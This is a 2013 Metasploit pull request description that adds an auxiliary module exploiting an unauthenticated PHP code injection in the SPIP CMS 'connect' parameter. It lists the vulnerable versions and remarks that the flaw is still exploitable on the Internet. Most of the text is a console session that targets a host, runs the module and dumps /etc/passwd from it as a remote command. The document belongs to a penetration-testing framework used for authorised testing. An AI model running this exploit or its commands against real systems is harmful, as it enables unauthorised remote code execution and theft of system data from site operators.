rapid7/metasploit-framework — pull request #1939 by ddouhine (2013-06-11 15:56:47+00:00)
Title: added aux module for PHP inj in SPIP CMS

This module exploits a PHP code injection in SPIP, a french CMS.
Of course it is not Wordpress or Drupal but SPIP is used a lot in french speaking countries.
Ref: http://w3techs.com/technologies/overview/content_management/all

The vulnerability exists in the connect parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned. Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3. The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora.

The vulnerability is less than one year old and is still usable on Internet.
Ref: http://www.securityfocus.com/bid/54292

Module usage is pretty straightforward:

msf > use auxiliary/admin/spip/spip_connect_exec
msf auxiliary(spip_connect_exec) > show options

Module options (auxiliary/admin/spip/spip_connect_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD cat /etc/passwd yes The command to execute
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SPIP_ROOT / yes SPIP root directory
VHOST no HTTP server virtual host

msf auxiliary(spip_connect_exec) > set RHOST 192.168.1.17
RHOST => 192.168.1.17
msf auxiliary(spip_connect_exec) > set SPIP_ROOT /spip
SPIP_ROOT => /spip
msf auxiliary(spip_connect_exec) > run

[*] 192.168.1.17:80 - Sending remote command: cat /etc/passwd
[*] Attempting to connect to 192.168.1.17:80
[*] Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
(...)

[*] Auxiliary module execution completed
msf auxiliary(spip_connect_exec) >